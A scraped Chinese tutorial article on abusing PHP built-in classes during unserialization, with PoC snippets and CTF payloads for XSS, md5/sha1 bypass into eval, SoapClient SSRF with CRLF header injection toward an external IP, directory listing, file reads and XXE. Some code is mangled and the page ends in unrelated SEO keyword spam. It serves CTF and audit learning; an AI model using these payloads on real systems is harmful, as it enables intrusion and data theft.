千家信息网

PHP反序列化原生类实例分析

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,这篇文章主要介绍"PHP反序列化原生类实例分析"的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇"PHP反序列化原生类实例分析"文章能帮助大家解决问题。浅析php反
千家信息网最后更新 2026年10月31日PHP反序列化原生类实例分析

这篇文章主要介绍"PHP反序列化原生类实例分析"的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇"PHP反序列化原生类实例分析"文章能帮助大家解决问题。

浅析php反序列化原生类的利用

如果在代码审计或者ctf中,有反序列化的功能点,但是却不能构造出完整的pop链,那这时我们应该如何破局呢?我们可以尝试一下从php原生类下手,php有些原生类中内置一些魔术方法,如果我们巧妙构造可控参数,触发并利用其内置魔术方法,就有可能达到一些我们想要的目的。

一、常见魔术方法

__wakeup() //执行unserialize()时,先会调用这个函数__sleep() //执行serialize()时,先会调用这个函数__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__toString() //把对象当作字符串使用时触发__invoke() //当尝试将对象调用为函数时触发

二、原生类中的魔术方法

我们采用下面脚本遍历一下所有原生类中的魔术方法

三、一些常见原生类的利用

Error/Exception

Error 是所有PHP内部错误类的基类。 (PHP 7, 8)

**Error::__toString ** error 的字符串表达

返回 Error 的 string表达形式。

Exception是所有用户级异常的基类。 (PHP 5, 7, 8)

**Exception::__toString ** 将异常对象转换为字符串

返回转换为字符串(string)类型的异常。

类属性

  • message 错误消息内容

  • code 错误代码

  • file 抛出错误的文件名

  • line 抛出错误的行数

XSS

__toString方法会返回错误或异常的字符串形式,其中包含我们输入的参数,如果我们构造一串xss代码,结合echo渲染,将触发反射形xss漏洞

示例:

POC:

alert('xss')");$b = serialize($a);echo urlencode($b);

hash绕过

先看一道题

[2020 极客大挑战]Greatphp

syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){               eval($this->syc);           } else {               die("Try Hard !!");           }        }    }}if (isset($_GET['great'])){    unserialize($_GET['great']);} else {    highlight_file(__FILE__);}

需要绕过两个hash强比较,且最终需要构造eval代码执行

显然正常方法是行不通的,而通过原生类可进行绕过

同样,当md5()和sha1()函数处理对象时,会自动调用__tostring方法

先简单看一下其输出

";echo $b."
";echo $c."
";echo $d;

可以发现,这两个原生类返回的信息除了行号一模一样,利用这点,我们可以尝试进行hash函数的绕过,需要注意的是,必须将两个传入的对象放到同一行

因此我们可以进行简单的测试,发现使用此方法可以绕过hash强(弱)函数比较

根据这些知识点,我们可以轻松构造payload

  syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){                   if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){                           eval($this->syc);                   } else {                           die("Try Hard !!");                   }                                   }        }}$str = "?>";//两次取反绕过正则$a=new Error($str,1);        $b=new Error($str,2);        $c = new SYCLOVER();$c->syc = $a;$c->lover = $b;        echo(urlencode(serialize($c)));?>
SoapClient

SoapClient是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端,可以创建soap数据报文,与wsdl接口进行交互

soap扩展模块默认关闭,使用时需手动开启

SoapClient::__call -调用 SOAP 函数 (PHP 5, 7, 8)

通常,SOAP 函数可以作为SoapClient对象的方法调用

SSRF

构造函数:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])第一个参数是用来指明是否是wsdl模式,如果为`null`,那就是非wsdl模式。第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

什么是soap

SOAP 是基于 XML 的简易协议,是用在分散或分布的环境中交换信息的简单的协议,可使应用程序在 HTTP 之上进行信息交换SOAP是webService三要素(SOAP、WSDL、UDDI)之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。其采用HTTP作为底层通讯协议,XML作为数据传送的格式。

我们构造一个利用payload,第一个参数为NULL,第二个参数的location设置为vps地址

 'http://47.102.146.95:2333', 'uri' =>'uri','user_agent'=>'111111'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a();

监听vps的2333端口,如下图所示成功触发SSRF,vps收到了请求信息

且可以看到SOAPAction和user_agent都可控

本地测试时发现,当使用此内置类(即soap协议)请求存在服务的端口时,会立即报错,而去访问不存在服务(未占用)的端口时,会等待一段时间报错,可以以此进行内网资产的探测。

如果配合CRLF漏洞,还可以可通过 SoapClient 来控制其他参数或者post发送数据。例如:HTTP协议去攻击Redis

CRLF知识扩展

HTTP报文的结构:状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF(\r\n),就能注入一些首部字段或报文主体,并在响应中输出。

通过结合CRLF,我们利用SoapClient+CRLF便可以干更多的事情,例如插入自定义Cookie,

 'http://47.102.146.95:2333',    'uri' =>'uri',    'user_agent'=>"111111\r\nCookie: PHPSESSION=dasdasd564d6as4d6a"));    $b = serialize($a);echo $b;$c = unserialize($b);$c->a();

发送POST的数据包,这里需要将Content-Type设置为application/x-www-form-urlencoded,我们可以通过添加两个\r\n来将原来的Content-Type挤下去,自定义一个新的Content-Type

 'http://47.102.146.95:2333',    'uri' =>'uri',    'user_agent'=>"111111\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\nCookie: PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length: 10\r\n\r\npostdata"));    $b = serialize($a);echo $b;$c = unserialize($b);$c->a();

看一道ctfshow上的题,完美利用上述知识点

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff); //获取xff头if($ip!=='127.0.0.1'){    die('error');}else{    $token = $_POST['token'];    if($token=='ctfshow'){        file_put_contents('flag.txt',$flag);    }}

poc:

 $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));$a = serialize($b);$a = str_replace('^^',"\r\n",$a);echo urlencode($a);?>
DirectoryIterator/FilesystemIterator

DirectoryIterator类提供了一个简单的接口来查看文件系统目录的内容。

DirectoryIterator::__toString 获取字符串形式的文件名 (PHP 5,7,8)

目录遍历

使用此内置类的__toString方法结合glob或file协议,即可实现目录遍历

例如:

';}

FilesystemIterator继承于DirectoryIterator,两者作用和用法基本相同,区别为FilesystemIterator会显示文件的完整路径,而DirectoryIterator只显示文件名

因为可以配合使用glob伪协议(查找匹配的文件路径模式),所以可以绕过open_basedir的限制

在php4.3以后使用了zend_class_unserialize_deny来禁止一些类的反序列化,很不幸的是这两个原生类都在禁止名单当中

SplFileObject

SplFileObject 类为单个文件的信息提供了一个面向对象的高级接口

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

文件读取

SplFileObject::__toString - 以字符串形式返回文件的路径

如果没有遍历的话只能读取第一行,且受到open_basedir影响

SimpleXMLElement

解析XML 文档中的元素。 (PHP 5、PHP 7、PHP 8)

SimpleXMLElement::__construct - 创建一个新的 SimpleXMLElement 对象

XXE

我们查看一下其参数:

根据官方文档,发现当第三个参数为True时,即可实现远程xml文件载入,第二个参数的常量值设置为2即可。

ReflectionMethod
获取注释内容

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getDocComment - 获取注释内容
由该原生类中的getDocComment方法可以访问到注释的内容

同时可利用的原生类还有ZipArchive- 删除文件等等,不在叙述

关于"PHP反序列化原生类实例分析"的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识,可以关注行业资讯频道,小编每天都会为大家更新不同的知识点。

方法 参数 对象 文件 函数 字符 服务 字符串 序列 内容 数据 知识 错误 两个 信息 属性 接口 模式 魔术 代码 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 深圳恒合互联网络科技有限公司 互联网金融 科技 美国互联网科技 睿民互联网科技 广州善班互联网科技 深圳卡尔迅互联网科技有限公司怎么样 新华互联网科技2019 中国的互联网科技企业的崛起 创业天下互联网科技有限公司 昊天互联网科技有限公司 厦门千工互联网科技有限公司 互联网科技产业特征 宜昌元轩互联网科技有限公司 洛阳昕诺飞互联网科技有限公司 天津腾达互联网科技有限公司 张召忠谈中国互联网科技 富国互联网金融科技混合基金 福州德业互联网科技 北京互联网科技类企业分布 株洲百竞科技的互联网营销顾问 科技金融是不是互联网金融 互联网品科技 深圳科技互联网 互联网与未来科技 广州互联网络科技有限公司 互联网科技缩写 互联网高科技股票 上海亿帐通互联网科技 山东子淼互联网科技有限公司 安徽九吞吴互联网科技有限公司
0